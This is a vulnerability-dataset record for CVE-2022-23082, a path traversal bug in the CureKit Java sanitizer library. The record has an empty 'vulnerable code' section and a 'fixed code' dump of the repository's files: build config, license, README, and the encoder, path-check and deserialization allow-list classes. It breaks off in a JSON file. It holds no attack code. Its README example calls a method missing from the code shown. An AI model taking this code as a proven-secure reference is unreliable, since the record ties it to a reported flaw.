CVE-2022-23082 (Java, published 2022-05-31T15:15Z)
Description: value: In CureKit versions v1.0.1 through v1.1.3 are vulnerable to path traversal as the function isFileOutsideDir fails to sanitize the user input which may lead to path traversal.
Severity: MEDIUM (CVSS v3 base score: 7.5)
Weakness: CWE-22 \u2014 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Repository: https://github.com/whitesource/CureKit
Files changed:
.gitignore
.idea/.gitignore
Jenkinsfile
LICENSE
README.md
pom.xml
src/main/java/io/whitesource/cure/Encoder.java
src/main/java/io/whitesource/cure/FileSecurityUtils.java
src/main/java/io/whitesource/cure/SecureObjectInputStream.java
src/main/resources/WssAllowListForLog.json
src/test/java/io/whitesource/cure/EncodersTests.java
src/test/java/io/whitesource/cure/FileSecurityUtilsTests.java
src/test/java/io/whitesource/cure/SecureDeserializationTests.java
src/test/java/io/whitesource/cure/mocks/Academy.java
src/test/java/io/whitesource/cure/mocks/Campus.java
src/test/java/io/whitesource/cure/mocks/Student.java
Commit message: Merge pull request from GHSA-fvf5-grm7-538p

CureKit-ghsa-fvf5-grm7-538p adding trailing separator to base dir if …

Vulnerable code:

Fixed code:
### Maven Configurations
target/
pom.xml.tag
pom.xml.releaseBackup
pom.xml.versionsBackup
pom.xml.next
release.properties
dependency-reduced-pom.xml
buildNumber.properties
.mvn/timing.properties
# https://github.com/takari/maven-wrapper#usage-without-binary-jar
.mvn/wrapper/maven-wrapper.jar

### Java Configurations
# Compiled class file
*.class

# Log file
*.log

# BlueJ files
*.ctxt

# Mobile Tools for Java (J2ME)
.mtj.tmp/

# Package Files #
*.jar
*.war
*.nar
*.ear
*.zip
*.tar.gz
*.rar

# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
hs_err_pid*
# Default ignored files
/shelf/
/workspace.xml
# Datasource local storage ignored files
/dataSources/
/dataSources.local.xml
# Editor-based HTTP Client requests
/httpRequests/
pipeline {
  agent {
    label 'remediation'
  }
  stages {
    stage('build') {
      steps{
        sh '(mvn clean install)'
      }
    }
  }
}

                                 Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding those notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. We also recommend that a
      file or class name and description of purpose be included on the
      same "printed page" as the copyright notice for easier
      identification within third-party archives.

   Copyright [yyyy] [name of copyright owner]

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.
CureKit - WhiteSource Cure Encoding Package
==========================

[![Language](https://img.shields.io/badge/language-Java-pink)](https://travis-ci.org/OWASP/owasp-java-encoder) [![Build Status](https://travis-ci.org/OWASP/owasp-java-encoder.svg?branch=main)](https://travis-ci.org/OWASP/owasp-java-encoder) [![License](https://img.shields.io/badge/license-Apache%202.0-blue)](https://www.apache.org/licenses/LICENSE-2.0.html)

CureKit is a security library mostly used by the WhiteSource Cure self-fixing product.

WhiteSource Cure is an innovative solution that automatically generates remediation suggestions for vulnerabilities identified by detection tools in proprietary code.
The remediation suggestions are presented on the vulnerable code itself and can be used as-is in your IDE.

CureKit contains encoders and other utilities, critical to the Self-Healing process suggested by WhiteSource Cure.
The sanitization methods offered in CureKit offer solutions for security vulnerabilities in your code, such as
Cross-Site Scripting, Path Traversal, Os Command Injection and more.
These methods rely on OWASP's encoders and best-practice fix recommendations.

Start using the CureKit Sanitizers
-----------------------------------
You can download a JAR from [Maven Central](https://search.maven.org/artifact/io.whitesource/curekit/1.0.3/jar).

The jar is also available in Maven:

```xml
<dependency>
    <groupId>io.whitesource</groupId>
    <artifactId>curekit</artifactId>
    <version>1.1.0</version>
</dependency>
```

Quick Overview
--------------
The CureKit Java library is intended for quick contextual encoding with very little
overhead, either in performance or usage. To get started, simply add the encoder-1.0.3.jar,
import io.whitesource.cure.Encoder and start using.

Example usage:

```java
    PrintWriter out = ....;
        out.println("<textarea>"+Encode.forHtmlXss(userData)+"</textarea>");
```

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>io.whitesource</groupId>
    <artifactId>curekit</artifactId>
    <version>1.1.3</version>

    <name>curekit</name>
    <description>A repository containing code security remediation solutions used by WhiteSource Cure</description>
    <url>https://github.com/whitesource/curekit</url>

    <licenses>
        <license>
            <name>The Apache License, Version 2.0</name>
            <url>https://www.apache.org/licenses/LICENSE-2.0.txt</url>
        </license>
    </licenses>

    <developers>
        <developer>
            <name>Whitesource Labs</name>
            <email>whitesourcelabs@whitesourcesoftware.com</email>
            <organization>Whitesource</organization>
            <organizationUrl>https://www.whitesourcesoftware.com</organizationUrl>
        </developer>
    </developers>

    <scm>
        <connection>scm:git:git://github.com/whitesource/curekit.git</connection>
        <developerConnection>scm:git:ssh://github.com/whitesource/curekit.git</developerConnection>
        <url>https://github.com/whitesource/curekit/</url>
    </scm>

    <properties>

        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <java.version>1.8</java.version>

        <!--     Plugins Version       -->
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
        <maven.compiler.version>3.6.1</maven.compiler.version>
        <maven.surefire.version>3.0.0-M3</maven.surefire.version>
        <nexus.staging.maven.version>1.6.7</nexus.staging.maven.version>
        <maven.source.version>2.2.1</maven.source.version>
        <maven.javadoc.version>3.0.1</maven.javadoc.version>
        <maven.gpg.version>1.5</maven.gpg.version>

        <!--     Dependencies Version       -->
        <commons.io.version>2.7</commons.io.version>
        <common.lang3.version>3.11</common.lang3.version>
        <junit-jupiter.version>5.1.0</junit-jupiter.version>
        <lombok.version>1.18.18</lombok.version>
        <junit.version>8</junit.version>
        <owasp.encoder.version>1.2.3</owasp.encoder.version>
        <jackson.databind.version>2.13.0</jackson.databind.version>

    </properties>

    <build>
        <pluginManagement>
            <plugins>
<!--                <plugin>-->
<!--                    <groupId>org.apache.maven.plugins</groupId>-->
<!--                    <artifactId>maven-compiler-plugin</artifactId>-->
<!--                    <version>${maven.compiler.version}</version>-->
<!--                    <configuration>-->
<!--                        <release>${java.version}</release>-->
<!--                    </configuration>-->
<!--                </plugin>-->
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-surefire-plugin</artifactId>
                    <version>${maven.surefire.version}</version>
                    <configuration>
                        <parallel>classes</parallel>
                        <threadCount>6</threadCount>
                    </configuration>
                </plugin>
                <plugin>
                    <groupId>org.sonatype.plugins</groupId>
                    <artifactId>nexus-staging-maven-plugin</artifactId>
                    <version>${nexus.staging.maven.version}</version>
                    <extensions>true</extensions>
                    <configuration>
                        <serverId>ossrh</serverId>
                        <nexusUrl>https://oss.sonatype.org/</nexusUrl>
                        <autoReleaseAfterClose>true</autoReleaseAfterClose>
                    </configuration>
                </plugin>
            </plugins>
        </pluginManagement>

        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-source-plugin</artifactId>
                <version>${maven.source.version}</version>
                <executions>
                    <execution>
                        <id>attach-sources</id>
                        <goals>
                            <goal>jar-no-fork</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-javadoc-plugin</artifactId>
                <configuration>
                    <javadocExecutable>${java.home}/../bin/javadoc</javadocExecutable>
                    <doclint>all,-missing</doclint>
                </configuration>
                <version>${maven.javadoc.version}</version>
                <executions>
                    <execution>
                        <id>attach-javadocs</id>
                        <phase>deploy</phase>
                        <goals>
                            <goal>jar</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-gpg-plugin</artifactId>
                <version>${maven.gpg.version}</version>
                <executions>
                    <execution>
                        <id>sign-artifacts</id>
                        <phase>deploy</phase>
                        <goals>
                            <goal>sign</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>

    </build>

    <dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-lang3</artifactId>
            <version>${common.lang3.version}</version>
        </dependency>

        <dependency>
            <groupId>org.owasp.encoder</groupId>
            <artifactId>encoder</artifactId>
            <version>${owasp.encoder.version}</version>
        </dependency>

        <dependency>
            <groupId>org.junit.jupiter</groupId>
            <artifactId>junit-jupiter-engine</artifactId>
            <version>${junit-jupiter.version}</version>
            <scope>test</scope>
        </dependency>

        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>${lombok.version}</version>
            <scope>provided</scope>
        </dependency>

        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>${commons.io.version}</version>
        </dependency>

        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>${jackson.databind.version}</version>
        </dependency>
    </dependencies>


    <distributionManagement>
        <snapshotRepository>
            <id>ossrh</id>
            <url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>
        </snapshotRepository>
        <repository>
            <id>ossrh</id>
            <url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>
        </repository>
    </distributionManagement>


    <profiles>
        <profile>
            <id>jdk-8-config</id>
            <activation>
                <jdk>8</jdk>
            </activation>
            <properties>
                <javadocExecutable>${java.home}/../bin/javadoc</javadocExecutable>
            </properties>
        </profile>
    </profiles>

</project>
package io.whitesource.cure;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.*;

import com.fasterxml.jackson.databind.ObjectMapper;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.SystemUtils;
import org.owasp.encoder.Encode;

/**
 * Remediation Solver static class written by WhiteSource with the community ❤. Here you can find
 * wrapper functions to secure unsafe operations in your code.
 */
public class Encoder {
  private static final String LOG_ALLOW_LIST_FILE = "WssAllowListForLog.json";

  /**
   * Reads encoder properties file from specified path. Replaces all characters not in the
   * allow list with the char located in SafeCharReplacement field within properties file.
   *
   * @param param An argument or part of an argument for the sink function.
   * @param pathToPropertiesFiles A custom properties file for the allow-list.
   * @return Encoded parameter.
   */
  public static String escapeForbiddenCharacters(Object param, File pathToPropertiesFiles) {
    if (param == null) {
      return null;
    }
    ObjectMapper objectMapper = new ObjectMapper();
    try{
      if (pathToPropertiesFiles != null && pathToPropertiesFiles.exists()) {
        AllowListProperties properties = objectMapper.readValue(pathToPropertiesFiles, AllowListProperties.class);
        return replaceForbiddenCharsWithSafeChar(param, properties);
      } else {
        return escapeForbiddenCharacters(param);
      }
    } catch (IOException e) {
      throw new RuntimeException("failed to sanitize value", e);
    }
  }

  /**
   * Automatically reads encoder properties file named "WssAllowListForLog" from origin repo resources. if not found
   * then a default is used Replaces all characters not in the allow list with the char located in SafeCharReplacement
   * field within properties file.
   *
   * @param param An argument or part of an argument for the sink function.
   * @return Encoded parameter.
   */
  public static String escapeForbiddenCharacters(Object param) {
    if (param == null) {
      return null;
    }
    ObjectMapper objectMapper = new ObjectMapper();
    try {
      InputStream inputStream = ClassLoader.getSystemClassLoader().getResourceAsStream(LOG_ALLOW_LIST_FILE);
      String propertiesFileContent = IOUtils.toString(inputStream, StandardCharsets.UTF_8);
      AllowListProperties properties = objectMapper.readValue(propertiesFileContent, AllowListProperties.class);
      return replaceForbiddenCharsWithSafeChar(param, properties);
    } catch (Exception e) {
      throw new RuntimeException("failed to sanitize value", e);
    }
  }

  private static String replaceForbiddenCharsWithSafeChar(Object param, AllowListProperties properties) {
    StringBuilder regex = new StringBuilder("[^");
    for(String expression: properties.getAllowList())
      regex.append(expression);
    regex.append("]");
    return formatToString(param).replaceAll(regex.toString(), properties.getSafeCharReplacement());
  }

  private static class AllowListProperties {
    private String safeCharReplacement;
    private List<String> allowList;

    public AllowListProperties(){}

    public String getSafeCharReplacement() {
      return safeCharReplacement;
    }

    public List<String> getAllowList() {
      return allowList;
    }
  }

  /**
   * Encodes any non alpha numeric character with respect to the type of the operating system.
   *
   * @param param An argument or part of an argument for the operating systems command.
   * @return Encoded parameter.
   */
  public static String forOsCommand(Object param) {
    if (param == null) {
      return null;
    }
    return forOsCommand(param, new char[] {});
  }

  /**
   * Encodes any non alpha numeric character that is not part of charsToIgnore. Encoding function
   * depends on the operating system type.
   *
   * @param param An argument or part of an argument for the operating systems command.
   * @param charsToIgnore Array of characters to not encode.
   * @return Encoded parameter.
   */
  public static String forOsCommand(Object param, char[] charsToIgnore) {
    if (param == null) {
      return null;
    }
    StringBuilder sb = new StringBuilder();
    for (char c : formatToString(param).toCharArray()) {
      sb.append(encodeCharacterForOsCommand(c, charsToIgnore));
    }
    return sb.toString();
  }

  /**
   * Encoding content for logs.
   *
   * @param contents arrays {@link Object} contains all the contents.
   * @return encoded log content.
   */
  public static String[] forLogContent(Object[] contents) {
    if (contents == null) {
      return null;
    }
    List<String> results = new ArrayList<>();

    for (Object content : contents) {
      results.add(forLogContent(content));
    }
    return results.toArray(new String[results.size()]);
  }

  /**
   * Encoding content for logs.
   *
   * @param content {@link Object} contains the content.
   * @return encoded log content.
   */
  public static String forLogContent(Object content) {
    if (content == null) {
      return null;
    }
    return formatToString(content)
            .replaceAll("[\n|\r|\t]", "_")
            .replaceAll("<", "&lt;")
            .replaceAll(">", "&gt;")
            .replaceAll("[$]", "&dollar;");
  }

  /**
   * Encoding content for logs.
   *
   * @param contents arrays {@link Object} contains all the contents.
   * @return encoded log content.
   */
  public static <T extends Collection<String>> T forLogContent(Collection<?> contents) {
    if (contents == null) {
      return null;
    }
    Collection<String> results = new HashSet<>();

    for (Object content : contents) {
      results.add(forLogContent(content));
    }
    if (contents instanceof Set) {
      return (T) new HashSet<>(results);
    } else if (contents instanceof List) {
      return (T) new ArrayList<>(results);
    }

    return (T) results;
  }

  /**
   * Encoding content to prevent crlf injection by deleting new line commands.
   *
   * @param content contains the content to be sanitized.
   * @return encoded Html content.
   */
  public static String forCrlf(Object content) {
    if (content == null) {
      return null;
    }
    return StringUtils.replaceEach(
            formatToString(content),
            new String[] {"\n", "\\n", "\r", "\\r", "%0d", "%0D", "%0a", "%0A", "\025"},
            new String[] {"", "", "", "", "", "", "", "", ""});
  }

  /**
   * Encoding content to prevent crlf injection by deleting new line commands.
   *
   * @param contents contains the content to be sanitized.
   * @return encoded Html content.
   */
  public static String[] forCrlf(Object[] contents) {
    if (contents == null) {
      return null;
    }
    List<String> results = new ArrayList<>();

    for (Object content : contents) {
      results.add(forCrlf(content));
    }
    return results.toArray(new String[results.size()]);
  }

  /**
   * Encoding content to prevent crlf injection by deleting new line commands.
   *
   * @param contents contains the content to be sanitized.
   * @return encoded Html content.
   */
  public static <T extends Collection<String>> T forCrlf(Collection<?> contents) {
    if (contents == null) {
      return null;
    }
    Collection<String> results = new HashSet<>();

    for (Object content : contents) {
      results.add(forCrlf(content));
    }
    if (contents instanceof Set) {
      return (T) new HashSet<>(results);
    } else if (contents instanceof List) {
      return (T) new ArrayList<>(results);
    }

    return (T) results;
  }

  /**
   * This method encodes for JavaScript strings contained within HTML script blocks.
   *
   * @param content {@link Object} contains the content.
   * @return encoded JavaScript block.
   */
  public static String forJavaScriptBlockXss(Object content) {
    if (content == null) {
      return null;
    }
    return Encode.forJavaScriptBlock(formatToString(content));
  }

  /**
   * This method encodes for HTML text content. It does not escape quotation characters and is thus
   * unsafe for use with HTML attributes. Use either forHtml or forHtmlAttribute for those methods.
   *
   * @param content {@link Object} contains the content.
   * @return encoded Html content.
   */
  public static String forHtmlContentXss(Object content) {
    if (content == null) {
      return null;
    }
    return Encode.forHtmlContent(formatToString(content));
  }

  /**
   * This method encodes for HTML text attributes.
   *
   * @param content {@link Object} contains the content.
   * @return encoded Html Attribute.
   */
  public static String forHtmlAttributeXss(Object content) {
    if (content == null) {
      return null;
    }
    return Encode.forHtmlAttribute(formatToString(content));
  }

  /**
   * Encodes for a JavaScript string. It is safe for use in HTML script attributes (such as
   * onclick), script blocks, JSON files, and JavaScript source. The caller MUST provide the
   * surrounding quotation characters for the string. Since this performs additional encoding so it
   * can work in all of the JavaScript contexts listed, it may be slightly less efficient than using
   * one of the methods targetted to a specific JavaScript context (forJavaScriptAttribute(String),
   * forJavaScriptBlock(java.lang.String), forJavaScriptSource(java.lang.String)). Unless you are
   * interested in saving a few bytes of output or are writing a framework on top of this library,
   * it is recommend that you use this method over the others.
   *
   * @param content {@link Object} contains the content.
   * @return encoded JavaScript string.
   */
  public static String forJavaScriptXss(Object content) {
    if (content == null) {
      return null;
    }
    return Encode.forJavaScript(formatToString(content));
  }

  /**
   * Encodes for CSS strings. The context must be surrounded by quotation characters. It is safe for
   * use in both style blocks and attributes in HTML.
   *
   * @param content {@link Object} contains the content.
   * @return encoded CSS String.
   */
  public static String forCssStringXss(Object content) {
    if (content == null) {
      return null;
    }
    return Encode.forCssString(formatToString(content));
  }

  /**
   * Performs percent-encoding for a component of a URI, such as a query parameter name or value,
   * path or query-string. In particular this method insures that special characters in the
   * component do not get interpreted as part of another component.
   *
   * @param content {@link Object} contains the content.
   * @return encoded Uri component.
   */
  public static String forUriComponentXss(Object content) {
    if (content == null) {
      return null;
    }
    return Encode.forUriComponent(formatToString(content));
  }

  /**
   * Encodes for CSS URL contexts. The context must be surrounded by "url(" and ")". It is safe for
   * use in both style blocks and attributes in HTML. Note: this does not do any checking on the
   * quality or safety of the URL itself. The caller should insure that the URL is safe for
   * embedding (e.g. input validation) by other means.
   *
   * @param content {@link Object} contains the content.
   * @return encoded CSS url.
   */
  public static String forCssUrlXss(Object content) {
    if (content == null) {
      return null;
    }
    return Encode.forCssUrl(formatToString(content));
  }

  /**
   * Encodes for unquoted HTML attribute values. forHtml(String) or forHtmlAttribute(String) should
   * usually be preferred over this method as quoted attributes are XHTML compliant. When using this
   * method, the caller is not required to provide quotes around the attribute (since it is encoded
   * for such context). The caller should make sure that the attribute value does not abut unsafe
   * characters--and thus should usually err on the side of including a space character after the
   * value. Use of this method is discouraged as quoted attributes are generally more compatible and
   * safer. Also note, that no attempt has been made to optimize this encoding, though it is still
   * probably faster than other encoding libraries.
   *
   * @param content {@link Object} contains the content.
   * @return encoded Html unquoted Attribute.
   */
  public static String forHtmlUnquotedAttributeXss(Object content) {
    if (content == null) {
      return null;
    }
    return Encode.forHtmlUnquotedAttribute(formatToString(content));
  }

  /**
   * This method encodes for JavaScript strings contained within HTML script attributes (such as
   * onclick). It is NOT safe for use in script blocks. The caller MUST provide the surrounding
   * quotation characters. This method performs the same encode as forJavaScript(String) with the
   * exception that / is not escaped.
   *
   * @param content {@link Object} contains the content.
   * @return encoded JavaScript attribute.
   */
  public static String forJavaScriptAttributeXss(String content) {
    if (content == null) {
      return null;
    }
    return Encode.forJavaScriptAttribute(formatToString(content));
  }

  private static String encodeCharacterForOsCommand(char charToEncode, char[] charsToIgnore) {
    if (new String(charsToIgnore).indexOf(charToEncode) != -1 || isAlphaNumeric(charToEncode)) {
      return "" + charToEncode;
    }

    if (SystemUtils.IS_OS_WINDOWS) {
      return "^" + charToEncode;
    } else if (SystemUtils.IS_OS_UNIX) {
      return "\\" + charToEncode;
    } else {
      throw new RuntimeException("Unknown operation system type");
    }
  }

  private static boolean isAlphaNumeric(char charToEncode) {
    return !((charToEncode < '0' || charToEncode > '9')
            && (charToEncode < 'A' || charToEncode > 'Z')
            && (charToEncode < 'a' || charToEncode > 'z'));
  }

  private static String formatToString(Object content) {
    if (content instanceof char[]) {
      return new String((char[]) content);
    } else if (content instanceof String) {
      return (String) content;
    } else {
      return content.toString();
    }
  }
}
package io.whitesource.cure;

import java.io.File;
import java.io.IOException;
import lombok.NonNull;
import org.apache.commons.io.FilenameUtils;

/**
 * Remediation Solver static class written by WhiteSource with the community ❤. Here you can find
 * wrapper functions to secure unsafe operations in your code.
 */
public class FileSecurityUtils {

  /**
   * Checking if a specific file is in his relevant folder.
   *
   * @param filePath The file Path.
   * @param baseDirPath The base folder of the specific file.
   * @return True - if the file is outside the base dir, False - otherwise.
   */
  public static boolean isFileOutsideDir(
          @NonNull final String filePath, @NonNull final String baseDirPath) throws IOException {
    File file = new File(filePath);
    File baseDir = new File(baseDirPath);
    return !file.getCanonicalFile().toPath().startsWith(baseDir.getCanonicalFile().toPath());
  }

  /**
   * Normalizes a path, removing double and single dot path steps.
   *
   * @param filePath The file path.
   * @return Normalized path.
   */
  public static String normalize(final String filePath) {
    if (filePath == null) {
      return null;
    }
    return FilenameUtils.normalize(filePath);
  }
}
package io.whitesource.cure;

import org.apache.commons.io.FilenameUtils;

import java.io.*;
import java.util.HashSet;
import java.util.Set;

/**
 * Remediation Wrapper class of ObjectInputStream written by WhiteSource with the community ❤.
 * This class should replace your usage of ObjectInputStream within your code, to verify the deserialized class is of an approved type.
 */
public class SecureObjectInputStream extends ObjectInputStream {

    private final Set<String> classesWhitelist;
    private final Set<String> packagesWhitelist = new HashSet<>();

    /**
     * @param inputStream     to deserialize.
     * @param validClassNames classes whitelist.
     *                        Beware not to put in your whitelist popular gadget classes that allow remote code execution during their deserialization process.
     * @throws IOException because ObjectInputStream's constructor might throw it.
     */
    public SecureObjectInputStream(final InputStream inputStream, final Set<String> validClassNames) throws IOException {
        super(inputStream);
        this.classesWhitelist = validClassNames;
    }

    /**
     * @param inputStream     to deserialize.
     * @param validClassNames classes whitelist.
     *                        Beware not to put in your whitelist popular gadget classes that allow remote code execution during their deserialization process.
     * @param validPackages   package whitelist.
     *                        Be as specific as possible with requested whitelist packages, because any of their subpackages will be cleared for deserialization.
     * @throws IOException because ObjectInputStream's constructor might throw it.
     */
    public SecureObjectInputStream(final InputStream inputStream, final Set<String> validClassNames, final Set<String> validPackages) throws IOException {
        super(inputStream);
        this.classesWhitelist = validClassNames;
        this.packagesWhitelist.addAll(validPackages);
    }

    /**
     * Overriding a method that is called before the deserialization itself, and checking if the provided class is of an intended type.
     *
     * @param classToDeserialize from InputStream.
     * @return deserialized class.
     * @throws IOException            when rejecting a deserialization attempt or error in ObjectInputStream.resolveClass.
     * @throws ClassNotFoundException because ObjectInputStream.resolveClass might throw it.
     */
    @Override
    protected Class<?> resolveClass(final ObjectStreamClass classToDeserialize) throws IOException, ClassNotFoundException {
        String className = classToDeserialize.getName();
        if (classesWhitelist.contains(className) || isSubpackage(className)) {
            return super.resolveClass(classToDeserialize);
        }
        throw new InvalidClassException("Unauthorized deserialization attempt detected for class " + classToDeserialize.getName());
    }

    private boolean isSubpackage(final String className) {
        String packageName = FilenameUtils.removeExtension(className);
        for (String pack : packagesWhitelist) {
            if (packageName.startsWith(pack)) {
                return true;
            }
        }
        return false;
    }
}
{
	"safeCharReplacement": "_",
	"allowList": [
		"a-z",
		"A-Z",
		"0-9",
		"\\u0009",
		"\\u000B",
		"\\u000C",
		"\\u000A",
		"\\u000B",
		"\\u000C",
		"\\u000D",
		"\\u0020",
